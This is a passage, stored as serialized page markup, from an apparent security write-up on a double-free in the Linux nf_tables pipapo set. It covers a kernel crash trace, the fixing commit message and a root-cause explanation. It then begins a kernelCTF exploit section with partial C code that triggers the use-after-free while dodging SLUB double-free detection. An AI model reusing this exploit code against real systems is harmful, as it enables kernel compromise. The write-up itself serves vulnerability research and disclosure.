]------------\n",{"type":24,"tag":271,"props":3464,"children":3465},{"class":273,"line":312},[3466],{"type":24,"tag":271,"props":3467,"children":3468},{},[3469],{"type":29,"value":3470},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":271,"props":3472,"children":3473},{"class":273,"line":321},[3474],{"type":24,"tag":271,"props":3475,"children":3476},{},[3477],{"type":29,"value":1690},{"type":24,"tag":271,"props":3479,"children":3480},{"class":273,"line":330},[3481],{"type":24,"tag":271,"props":3482,"children":3483},{},[3484],{"type":29,"value":3485},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":24,"tag":271,"props":3487,"children":3488},{"class":273,"line":339},[3489],{"type":24,"tag":271,"props":3490,"children":3491},{},[3492],{"type":29,"value":1690},{"type":24,"tag":271,"props":3494,"children":3495},{"class":273,"line":347},[3496],{"type":24,"tag":271,"props":3497,"children":3498},{},[3499],{"type":29,"value":3500},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":271,"props":3502,"children":3503},{"class":273,"line":356},[3504],{"type":24,"tag":271,"props":3505,"children":3506},{},[3507],{"type":29,"value":3508},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":24,"tag":271,"props":3510,"children":3511},{"class":273,"line":365},[3512],{"type":24,"tag":271,"props":3513,"children":3514},{},[3515],{"type":29,"value":1690},{"type":24,"tag":271,"props":3517,"children":3518},{"class":273,"line":374},[3519],{"type":24,"tag":271,"props":3520,"children":3521},{},[3522],{"type":29,"value":3523},"[16302.231917] Call Trace:\n",{"type":24,"tag":271,"props":3525,"children":3526},{"class":273,"line":384},[3527],{"type":24,"tag":271,"props":3528,"children":3529},{},[3530],{"type":29,"value":3531},"[16302.231919] \u003CTASK>\n",{"type":24,"tag":271,"props":3533,"children":3534},{"class":273,"line":393},[3535],{"type":24,"tag":271,"props":3536,"children":3537},{},[3538],{"type":29,"value":3539},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":24,"tag":271,"props":3541,"children":3542},{"class":273,"line":402},[3543],{"type":24,"tag":271,"props":3544,"children":3545},{},[3546],{"type":29,"value":3547},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":24,"tag":271,"props":3549,"children":3550},{"class":273,"line":411},[3551],{"type":24,"tag":271,"props":3552,"children":3553},{},[3554],{"type":29,"value":3555},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":24,"tag":271,"props":3557,"children":3558},{"class":273,"line":420},[3559],{"type":24,"tag":271,"props":3560,"children":3561},{},[3562],{"type":29,"value":3563},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":24,"tag":271,"props":3565,"children":3566},{"class":273,"line":429},[3567],{"type":24,"tag":271,"props":3568,"children":3569},{},[3570],{"type":29,"value":3571},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":24,"tag":271,"props":3573,"children":3574},{"class":273,"line":438},[3575],{"type":24,"tag":271,"props":3576,"children":3577},{},[3578],{"type":29,"value":3579},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":24,"tag":271,"props":3581,"children":3582},{"class":273,"line":447},[3583],{"type":24,"tag":271,"props":3584,"children":3585},{},[3586],{"type":29,"value":3587},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":24,"tag":271,"props":3589,"children":3590},{"class":273,"line":455},[3591],{"type":24,"tag":271,"props":3592,"children":3593},{"emptyLinePlaceholder":16},[3594],{"type":29,"value":327},{"type":24,"tag":271,"props":3596,"children":3597},{"class":273,"line":464},[3598],{"type":24,"tag":271,"props":3599,"children":3600},{},[3601],{"type":29,"value":3602},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":24,"tag":271,"props":3604,"children":3605},{"class":273,"line":473},[3606],{"type":24,"tag":271,"props":3607,"children":3608},{},[3609],{"type":29,"value":3610},"elements in the lookup tables.\n",{"type":24,"tag":271,"props":3612,"children":3613},{"class":273,"line":483},[3614],{"type":24,"tag":271,"props":3615,"children":3616},{"emptyLinePlaceholder":16},[3617],{"type":29,"value":327},{"type":24,"tag":271,"props":3619,"children":3620},{"class":273,"line":491},[3621],{"type":24,"tag":271,"props":3622,"children":3623},{},[3624],{"type":29,"value":3625},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":24,"tag":271,"props":3627,"children":3628},{"class":273,"line":499},[3629],{"type":24,"tag":271,"props":3630,"children":3631},{},[3632],{"type":29,"value":3633},"cloned matching data if priv->dirty is set, because that means that\n",{"type":24,"tag":271,"props":3635,"children":3636},{"class":273,"line":3188},[3637],{"type":24,"tag":271,"props":3638,"children":3639},{},[3640],{"type":29,"value":3641},"cloned data might point to additional elements we did not commit to the\n",{"type":24,"tag":271,"props":3643,"children":3644},{"class":273,"line":3247},[3645],{"type":24,"tag":271,"props":3646,"children":3647},{},[3648],{"type":29,"value":3649},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":24,"tag":271,"props":3651,"children":3652},{"class":273,"line":3255},[3653],{"type":24,"tag":271,"props":3654,"children":3655},{},[3656],{"type":29,"value":3657},"to it).\"\n",{"type":24,"tag":271,"props":3659,"children":3660},{"class":273,"line":3263},[3661],{"type":24,"tag":271,"props":3662,"children":3663},{"emptyLinePlaceholder":16},[3664],{"type":29,"value":327},{"type":24,"tag":271,"props":3666,"children":3667},{"class":273,"line":3293},[3668],{"type":24,"tag":271,"props":3669,"children":3670},{},[3671],{"type":29,"value":3672},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":24,"tag":271,"props":3674,"children":3675},{"class":273,"line":3301},[3676],{"type":24,"tag":271,"props":3677,"children":3678},{},[3679],{"type":29,"value":3680},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":24,"tag":271,"props":3682,"children":3684},{"class":273,"line":3683},33,[3685],{"type":24,"tag":271,"props":3686,"children":3687},{},[3688],{"type":29,"value":3689},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":24,"tag":25,"props":3691,"children":3692},{},[3693,3695,3700,3702,3707,3709,3714,3716,3721],{"type":29,"value":3694},"As we previously discussed, committing changes to a pipapo ",{"type":24,"tag":135,"props":3696,"children":3698},{"className":3697},[],[3699],{"type":29,"value":563},{"type":29,"value":3701}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":24,"tag":135,"props":3703,"children":3705},{"className":3704},[],[3706],{"type":29,"value":1934},{"type":29,"value":3708}," method by simply replacing the ",{"type":24,"tag":135,"props":3710,"children":3712},{"className":3711},[],[3713],{"type":29,"value":563},{"type":29,"value":3715},"s match object with its updated clone. So checking the ",{"type":24,"tag":135,"props":3717,"children":3719},{"className":3718},[],[3720],{"type":29,"value":516},{"type":29,"value":3722}," flag and then calling free again ensures we also free uncommitted changes.",{"type":24,"tag":25,"props":3724,"children":3725},{},[3726,3728,3733],{"type":29,"value":3727},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":24,"tag":135,"props":3729,"children":3731},{"className":3730},[],[3732],{"type":29,"value":563},{"type":29,"value":3734},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":24,"tag":25,"props":3736,"children":3737},{},[3738,3740,3746,3748,3753,3755,3760],{"type":29,"value":3739},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":24,"tag":135,"props":3741,"children":3743},{"className":3742},[],[3744],{"type":29,"value":3745},"set->ops->destroy()",{"type":29,"value":3747}," could be called without clearing the ",{"type":24,"tag":135,"props":3749,"children":3751},{"className":3750},[],[3752],{"type":29,"value":516},{"type":29,"value":3754}," flag, which was fine considering you didn't have duplicated views of the ",{"type":24,"tag":135,"props":3756,"children":3758},{"className":3757},[],[3759],{"type":29,"value":555},{"type":29,"value":3761},"s, so they would all be in the clone set.",{"type":24,"tag":25,"props":3763,"children":3764},{},[3765,3767,3772],{"type":29,"value":3766},"But when the ",{"type":24,"tag":135,"props":3768,"children":3770},{"className":3769},[],[3771],{"type":29,"value":3331},{"type":29,"value":3773}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":24,"tag":25,"props":3775,"children":3776},{},[3777],{"type":29,"value":3778},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":24,"tag":62,"props":3780,"children":3782},{"id":3781},"kernelctf-exploit",[3783],{"type":29,"value":3784},"KernelCTF exploit",{"type":24,"tag":25,"props":3786,"children":3787},{},[3788,3790,3796,3798,3805],{"type":29,"value":3789},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":24,"tag":135,"props":3791,"children":3793},{"className":3792},[],[3794],{"type":29,"value":3795},"nft_object + udata",{"type":29,"value":3797}," technique shared by lonial con in a ",{"type":24,"tag":32,"props":3799,"children":3802},{"href":3800,"rel":3801},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[36],[3803],{"type":29,"value":3804},"previous kernelCTF exploit",{"type":29,"value":41},{"type":24,"tag":85,"props":3807,"children":3809},{"id":3808},"trigger-uafavoid-double-free-detection",[3810],{"type":29,"value":3811},"Trigger UAF/avoid double-free detection",{"type":24,"tag":25,"props":3813,"children":3814},{},[3815,3817,3823,3825,3831],{"type":29,"value":3816},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":24,"tag":135,"props":3818,"children":3820},{"className":3819},[],[3821],{"type":29,"value":3822},"nft_set_pipapo_match_destroy",{"type":29,"value":3824}," iterates over the ",{"type":24,"tag":135,"props":3826,"children":3828},{"className":3827},[],[3829],{"type":29,"value":3830},"setelems",{"type":29,"value":3832}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":24,"tag":3834,"props":3835,"children":3836},"ol",{},[3837,3842,3847,3852],{"type":24,"tag":101,"props":3838,"children":3839},{},[3840],{"type":29,"value":3841},"Element A gets freed",{"type":24,"tag":101,"props":3843,"children":3844},{},[3845],{"type":29,"value":3846},"Element B gets free",{"type":24,"tag":101,"props":3848,"children":3849},{},[3850],{"type":29,"value":3851},"Element A gets freed again (double-free)",{"type":24,"tag":101,"props":3853,"children":3854},{},[3855],{"type":29,"value":3856},"Element B gets freed again (double-free)",{"type":24,"tag":261,"props":3858,"children":3862},{"className":3859,"code":3860,"language":3861,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n","cpp",[3863],{"type":24,"tag":135,"props":3864,"children":3865},{"__ignoreMap":7},[3866,3873,3937,3944,3951,3959,3966,3973,3981,4007,4029,4064,4127,4134,4142,4196,4204,4231,4259,4298,4327,4356,4378,4386,4393,4400,4408,4415,4423,4436,4449,4469,4476,4484,4507,4543,4589,4626,4656,4664,4672,4681,4689,4706,4714],{"type":24,"tag":271,"props":3867,"children":3868},{"class":273,"line":274},[3869],{"type":24,"tag":271,"props":3870,"children":3871},{"style":288},[3872],{"type":29,"value":1690},{"type":24,"tag":271,"props":3874,"children":3875},{"class":273,"line":284},[3876,3881,3885,3891,3896,3901,3905,3910,3915,3919,3924,3928,3933],{"type":24,"tag":271,"props":3877,"children":3878},{"style":288},[3879],{"type":29,"value":3880},"static void trigger_uaf(",{"type":24,"tag":271,"props":3882,"children":3883},{"style":278},[3884],{"type":29,"value":1772},{"type":24,"tag":271,"props":3886,"children":3888},{"style":3887},"--shiki-default:#4EC9B0",[3889],{"type":29,"value":3890}," mnl_socket",{"type":24,"tag":271,"props":3892,"children":3893},{"style":278},[3894],{"type":29,"value":3895}," *",{"type":24,"tag":271,"props":3897,"children":3898},{"style":630},[3899],{"type":29,"value":3900},"nl",{"type":24,"tag":271,"props":3902,"children":3903},{"style":288},[3904],{"type":29,"value":158},{"type":24,"tag":271,"props":3906,"children":3907},{"style":278},[3908],{"type":29,"value":3909},"size_t",{"type":24,"tag":271,"props":3911,"children":3912},{"style":630},[3913],{"type":29,"value":3914}," size",{"type":24,"tag":271,"props":3916,"children":3917},{"style":288},[3918],{"type":29,"value":158},{"type":24,"tag":271,"props":3920,"children":3921},{"style":278},[3922],{"type":29,"value":3923},"int",{"type":24,"tag":271,"props":3925,"children":3926},{"style":278},[3927],{"type":29,"value":3895},{"type":24,"tag":271,"props":3929,"children":3930},{"style":630},[3931],{"type":29,"value":3932},"msgqids",{"type":24,"tag":271,"props":3934,"children":3935},{"style":288},[3936],{"type":29,"value":694},{"type":24,"tag":271,"props":3938,"children":3939},{"class":273,"line":294},[3940],{"type":24,"tag":271,"props":3941,"children":3942},{"style":288},[3943],{"type":29,"value":702},{"type":24,"tag":271,"props":3945,"children":3946},{"class":273,"line":303},[3947],{"type":24,"tag":271,"props":3948,"children":3949},{"style":288},[3950],{"type":29,"value":1690},{"type":24,"tag":271,"props":3952,"children":3953},{"class":273,"line":312},[3954],{"type":24,"tag":271,"props":3955,"children":3956},{"style":288},[3957],{"type":29,"value":3958}," // TRANSACTION 2\n",{"type":24,"tag":271,"props":3960,"children":3961},{"class":273,"line":321},[3962],{"type":24,"tag":271,"props":3963,"children":3964},{"style":288},[3965],{"type":29,"value":1690},{"type":24,"tag":271,"props":3967,"children":3968},{"class":273,"line":330},[3969],{"type":24,"tag":271,"props":3970,"children":3971},{"emptyLinePlaceholder":16},[3972],{"type":29,"value":327},{"type":24,"tag":271,"props":3974,"children":3975},{"class":273,"line":339},[3976],{"type":24,"tag":271,"props":3977,"children":3978},{"style":288},[3979],{"type":29,"value":3980}," // create pipapo set\n",{"type":24,"tag":271,"props":3982,"children":3983},{"class":273,"line":347},[3984,3989,3994,3998,4002],{"type":24,"tag":271,"props":3985,"children":3986},{"style":288},[3987],{"type":29,"value":3988}," uint8_t desc[2] = {",{"type":24,"tag":271,"props":3990,"children":3991},{"style":477},[3992],{"type":29,"value":3993},"16",{"type":24,"tag":271,"props":3995,"children":3996},{"style":288},[3997],{"type":29,"value":158},{"type":24,"tag":271,"props":3999,"children":4000},{"style":477},[4001],{"type":29,"value":3993},{"type":24,"tag":271,"props":4003,"children":4004},{"style":288},[4005],{"type":29,"value":4006},"};\n",{"type":24,"tag":271,"props":4008,"children":4009},{"class":273,"line":356},[4010,4015,4019,4024],{"type":24,"tag":271,"props":4011,"children":4012},{"style":288},[4013],{"type":29,"value":4014}," set ",{"type":24,"tag":271,"props":4016,"children":4017},{"style":624},[4018],{"type":29,"value":762},{"type":24,"tag":271,"props":4020,"children":4021},{"style":598},[4022],{"type":29,"value":4023}," create_set",{"type":24,"tag":271,"props":4025,"children":4026},{"style":288},[4027],{"type":29,"value":4028},"(\n",{"type":24,"tag":271,"props":4030,"children":4031},{"class":273,"line":365},[4032,4037,4041,4046,4051,4055,4060],{"type":24,"tag":271,"props":4033,"children":4034},{"style":288},[4035],{"type":29,"value":4036}," batch, seq",{"type":24,"tag":271,"props":4038,"children":4039},{"style":624},[4040],{"type":29,"value":834},{"type":24,"tag":271,"props":4042,"children":4043},{"style":288},[4044],{"type":29,"value":4045},", exploit_table_name, ",{"type":24,"tag":271,"props":4047,"children":4048},{"style":378},[4049],{"type":29,"value":4050},"\"pwn_set\"",{"type":24,"tag":271,"props":4052,"children":4053},{"style":288},[4054],{"type":29,"value":158},{"type":24,"tag":271,"props":4056,"children":4057},{"style":477},[4058],{"type":29,"value":4059},"0x1337",{"type":24,"tag":271,"props":4061,"children":4062},{"style":288},[4063],{"type":29,"value":638},{"type":24,"tag":271,"props":4065,"children":4066},{"class":273,"line":374},[4067,4072,4077,4082,4086,4091,4095,4099,4103,4108,4113,4117,4122],{"type":24,"tag":271,"props":4068,"children":4069},{"style":288},[4070],{"type":29,"value":4071}," NFT_SET_INTERVAL ",{"type":24,"tag":271,"props":4073,"children":4074},{"style":624},[4075],{"type":29,"value":4076},"|",{"type":24,"tag":271,"props":4078,"children":4079},{"style":288},[4080],{"type":29,"value":4081}," NFT_SET_OBJECT ",{"type":24,"tag":271,"props":4083,"children":4084},{"style":624},[4085],{"type":29,"value":4076},{"type":24,"tag":271,"props":4087,"children":4088},{"style":288},[4089],{"type":29,"value":4090}," NFT_SET_CONCAT, KEY_LEN, ",{"type":24,"tag":271,"props":4092,"children":4093},{"style":477},[4094],{"type":29,"value":165},{"type":24,"tag":271,"props":4096,"children":4097},{"style":288},[4098],{"type":29,"value":158},{"type":24,"tag":271,"props":4100,"children":4101},{"style":624},[4102],{"type":29,"value":1137},{"type":24,"tag":271,"props":4104,"children":4105},{"style":288},[4106],{"type":29,"value":4107},"desc, ",{"type":24,"tag":271,"props":4109,"children":4110},{"style":278},[4111],{"type":29,"value":4112},"NULL",{"type":24,"tag":271,"props":4114,"children":4115},{"style":288},[4116],{"type":29,"value":158},{"type":24,"tag":271,"props":4118,"children":4119},{"style":477},[4120],{"type":29,"value":4121},"0",{"type":24,"tag":271,"props":4123,"children":4124},{"style":288},[4125],{"type":29,"value":4126},", NFT_OBJECT_CT_EXPECT);\n",{"type":24,"tag":271,"props":4128,"children":4129},{"class":273,"line":384},[4130],{"type":24,"tag":271,"props":4131,"children":4132},{"emptyLinePlaceholder":16},[4133],{"type":29,"value":327},{"type":24,"tag":271,"props":4135,"children":4136},{"class":273,"line":393},[4137],{"type":24,"tag":271,"props":4138,"children":4139},{"style":2058},[4140],{"type":29,"value":4141}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":24,"tag":271,"props":4143,"children":4144},{"class":273,"line":402},[4145,4150,4154,4158,4163,4167,4171,4175,4179,4184,4188,4192],{"type":24,"tag":271,"props":4146,"children":4147},{"style":749},[4148],{"type":29,"value":4149}," for",{"type":24,"tag":271,"props":4151,"children":4152},{"style":288},[4153],{"type":29,"value":1357},{"type":24,"tag":271,"props":4155,"children":4156},{"style":278},[4157],{"type":29,"value":3923},{"type":24,"tag":271,"props":4159,"children":4160},{"style":288},[4161],{"type":29,"value":4162}," i ",{"type":24,"tag":271,"props":4164,"children":4165},{"style":624},[4166],{"type":29,"value":762},{"type":24,"tag":271,"props":4168,"children":4169},{"style":477},[4170],{"type":29,"value":767},{"type":24,"tag":271,"props":4172,"children":4173},{"style":288},[4174],{"type":29,"value":796},{"type":24,"tag":271,"props":4176,"children":4177},{"style":624},[4178],{"type":29,"value":801},{"type":24,"tag":271,"props":4180,"children":4181},{"style":477},[4182],{"type":29,"value":4183}," 2",{"type":24,"tag":271,"props":4185,"children":4186},{"style":288},[4187],{"type":29,"value":829},{"type":24,"tag":271,"props":4189,"children":4190},{"style":624},[4191],{"type":29,"value":834},{"type":24,"tag":271,"props":4193,"children":4194},{"style":288},[4195],{"type":29,"value":694},{"type":24,"tag":271,"props":4197,"children":4198},{"class":273,"line":411},[4199],{"type":24,"tag":271,"props":4200,"children":4201},{"style":288},[4202],{"type":29,"value":4203}," {\n",{"type":24,"tag":271,"props":4205,"children":4206},{"class":273,"line":420},[4207,4212,4217,4221,4226],{"type":24,"tag":271,"props":4208,"children":4209},{"style":630},[4210],{"type":29,"value":4211}," elem",{"type":24,"tag":271,"props":4213,"children":4214},{"style":288},[4215],{"type":29,"value":4216},"[i] ",{"type":24,"tag":271,"props":4218,"children":4219},{"style":624},[4220],{"type":29,"value":762},{"type":24,"tag":271,"props":4222,"children":4223},{"style":598},[4224],{"type":29,"value":4225}," nftnl_set_elem_alloc",{"type":24,"tag":271,"props":4227,"children":4228},{"style":288},[4229],{"type":29,"value":4230},"();\n",{"type":24,"tag":271,"props":4232,"children":4233},{"class":273,"line":429},[4234,4239,4244,4249,4254],{"type":24,"tag":271,"props":4235,"children":4236},{"style":598},[4237],{"type":29,"value":4238}," memset",{"type":24,"tag":271,"props":4240,"children":4241},{"style":288},[4242],{"type":29,"value":4243},"(key, ",{"type":24,"tag":271,"props":4245,"children":4246},{"style":477},[4247],{"type":29,"value":4248},"0x41",{"type":24,"tag":271,"props":4250,"children":4251},{"style":624},[4252],{"type":29,"value":4253}," +",{"type":24,"tag":271,"props":4255,"children":4256},{"style":288},[4257],{"type":29,"value":4258}," i, KEY_LEN);\n",{"type":24,"tag":271,"props":4260,"children":4261},{"class":273,"line":438},[4262,4267,4271,4275,4280,4285,4289,4294],{"type":24,"tag":271,"props":4263,"children":4264},{"style":598},[4265],{"type":29,"value":4266}," nftnl_set_elem_set",{"type":24,"tag":271,"props":4268,"children":4269},{"style":288},[4270],{"type":29,"value":606},{"type":24,"tag":271,"props":4272,"children":4273},{"style":630},[4274],{"type":29,"value":1646},{"type":24,"tag":271,"props":4276,"children":4277},{"style":288},[4278],{"type":29,"value":4279},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":271,"props":4281,"children":4282},{"style":378},[4283],{"type":29,"value":4284},"\"pwnobj\"",{"type":24,"tag":271,"props":4286,"children":4287},{"style":288},[4288],{"type":29,"value":158},{"type":24,"tag":271,"props":4290,"children":4291},{"style":477},[4292],{"type":29,"value":4293},"7",{"type":24,"tag":271,"props":4295,"children":4296},{"style":288},[4297],{"type":29,"value":1155},{"type":24,"tag":271,"props":4299,"children":4300},{"class":273,"line":447},[4301,4305,4309,4313,4318,4322],{"type":24,"tag":271,"props":4302,"children":4303},{"style":598},[4304],{"type":29,"value":4266},{"type":24,"tag":271,"props":4306,"children":4307},{"style":288},[4308],{"type":29,"value":606},{"type":24,"tag":271,"props":4310,"children":4311},{"style":630},[4312],{"type":29,"value":1646},{"type":24,"tag":271,"props":4314,"children":4315},{"style":288},[4316],{"type":29,"value":4317},"[i], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":271,"props":4319,"children":4320},{"style":624},[4321],{"type":29,"value":1137},{"type":24,"tag":271,"props":4323,"children":4324},{"style":288},[4325],{"type":29,"value":4326},"key, KEY_LEN);\n",{"type":24,"tag":271,"props":4328,"children":4329},{"class":273,"line":455},[4330,4334,4338,4342,4347,4351],{"type":24,"tag":271,"props":4331,"children":4332},{"style":598},[4333],{"type":29,"value":4266},{"type":24,"tag":271,"props":4335,"children":4336},{"style":288},[4337],{"type":29,"value":606},{"type":24,"tag":271,"props":4339,"children":4340},{"style":630},[4341],{"type":29,"value":1646},{"type":24,"tag":271,"props":4343,"children":4344},{"style":288},[4345],{"type":29,"value":4346},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":24,"tag":271,"props":4348,"children":4349},{"style":624},[4350],{"type":29,"value":1137},{"type":24,"tag":271,"props":4352,"children":4353},{"style":288},[4354],{"type":29,"value":4355},"udata_buf, size);\n",{"type":24,"tag":271,"props":4357,"children":4358},{"class":273,"line":464},[4359,4364,4369,4373],{"type":24,"tag":271,"props":4360,"children":4361},{"style":598},[4362],{"type":29,"value":4363}," nftnl_set_elem_add",{"type":24,"tag":271,"props":4365,"children":4366},{"style":288},[4367],{"type":29,"value":4368},"(set, ",{"type":24,"tag":271,"props":4370,"children":4371},{"style":630},[4372],{"type":29,"value":1646},{"type":24,"tag":271,"props":4374,"children":4375},{"style":288},[4376],{"type":29,"value":4377},"[i]);\n",{"type":24,"tag":271,"props":4379,"children":4380},{"class":273,"line":473},[4381],{"type":24,"tag":271,"props":4382,"children":4383},{"style":288},[4384],{"type":29,"value":4385}," }\n",{"type":24,"tag":271,"props":4387,"children":4388},{"class":273,"line":483},[4389],{"type":24,"tag":271,"props":4390,"children":4391},{"style":288},[4392],{"type":29,"value":1690},{"type":24,"tag":271,"props":4394,"children":4395},{"class":273,"line":491},[4396],{"type":24,"tag":271,"props":4397,"children":4398},{"emptyLinePlaceholder":16},[4399],{"type":29,"value":327},{"type":24,"tag":271,"props":4401,"children":4402},{"class":273,"line":499},[4403],{"type":24,"tag":271,"props":4404,"children":4405},{"style":288},[4406],{"type":29,"value":4407}," // TRANSACTION 3\n",{"type":24,"tag":271,"props":4409,"children":4410},{"class":273,"line":3188},[4411],{"type":24,"tag":271,"props":4412,"children":4413},{"style":288},[4414],{"type":29,"value":1690},{"type":24,"tag":271,"props":4416,"children":4417},{"class":273,"line":3247},[4418],{"type":24,"tag":271,"props":4419,"children":4420},{"style":288},[4421],{"type":29,"value":4422}," set = nftnl_set_alloc();\n",{"type":24,"tag":271,"props":4424,"children":4425},{"class":273,"line":3255},[4426,4431],{"type":24,"tag":271,"props":4427,"children":4428},{"style":598},[4429],{"type":29,"value":4430}," nftnl_set_set_u32",{"type":24,"tag":271,"props":4432,"children":4433},{"style":288},[4434],{"type":29,"value":4435},"(set, NFTNL_SET_FAMILY, family);\n",{"type":24,"tag":271,"props":4437,"children":4438},{"class":273,"line":3263},[4439,4444],{"type":24,"tag":271,"props":4440,"children":4441},{"style":598},[4442],{"type":29,"value":4443}," nftnl_set_set_str",{"type":24,"tag":271,"props":4445,"children":4446},{"style":288},[4447],{"type":29,"value":4448},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":24,"tag":271,"props":4450,"children":4451},{"class":273,"line":3293},[4452,4456,4461,4465],{"type":24,"tag":271,"props":4453,"children":4454},{"style":598},[4455],{"type":29,"value":4443},{"type":24,"tag":271,"props":4457,"children":4458},{"style":288},[4459],{"type":29,"value":4460},"(set, NFTNL_SET_NAME, ",{"type":24,"tag":271,"props":4462,"children":4463},{"style":378},[4464],{"type":29,"value":4050},{"type":24,"tag":271,"props":4466,"children":4467},{"style":288},[4468],{"type":29,"value":1155},{"type":24,"tag":271,"props":4470,"children":4471},{"class":273,"line":3301},[4472],{"type":24,"tag":271,"props":4473,"children":4474},{"emptyLinePlaceholder":16},[4475],{"type":29,"value":327},{"type":24,"tag":271,"props":4477,"children":4478},{"class":273,"line":3683},[4479],{"type":24,"tag":271,"props":4480,"children":4481},{"style":2058},[4482],{"type":29,"value":4483}," // make priv->dirty true\n",{"type":24,"tag":271,"props":4485,"children":4487},{"class":273,"line":4486},34,[4488,4493,4497,4502],{"type":24,"tag":271,"props":4489,"children":4490},{"style":598},[4491],{"type":29,"value":4492}," memset",{"type":24,"tag":271,"props":4494,"children":4495},{"style":288},[4496],{"type":29,"value":4243},{"type":24,"tag":271,"props":4498,"children":4499},{"style":477},[4500],{"type":29,"value":4501},"0xff",{"type":24,"tag":271,"props":4503,"children":4504},{"style":288},[4505],{"type":29,"value":4506},", KEY_LEN);\n",{"type":24,"tag":271,"props":4508,"children":4510},{"class":273,"line":4509},35,[4511,4516,4521,4526,4531,4535,4539],{"type":24,"tag":271,"props":4512,"children":4513},{"style":630},[4514],{"type":29,"value":4515}," elem",{"type":24,"tag":271,"props":4517,"children":4518},{"style":288},[4519],{"type":29,"value":4520},"[",{"type":24,"tag":271,"props":4522,"children":4523},{"style":477},[4524],{"type":29,"value":4525},"3",{"type":24,"tag":271,"props":4527,"children":4528},{"style":288},[4529],{"type":29,"value":4530},"] ",{"type":24,"tag":271,"props":4532,"children":4533},{"style":624},[4534],{"type":29,"value":762},{"type":24,"tag":271,"props":4536,"children":4537},{"style":598},[4538],{"type":29,"value":4225},{"type":24,"tag":271,"props":4540,"children":4541},{"style":288},[4542],{"type":29,"value":4230},{"type":24,"tag":271,"props":4544,"children":4546},{"class":273,"line":4545},36,[4547,4552,4556,4560,4564,4568,4573,4577,4581,4585],{"type":24,"tag":271,"props":4548,"children":4549},{"style":598},[4550],{"type":29,"value":4551}," 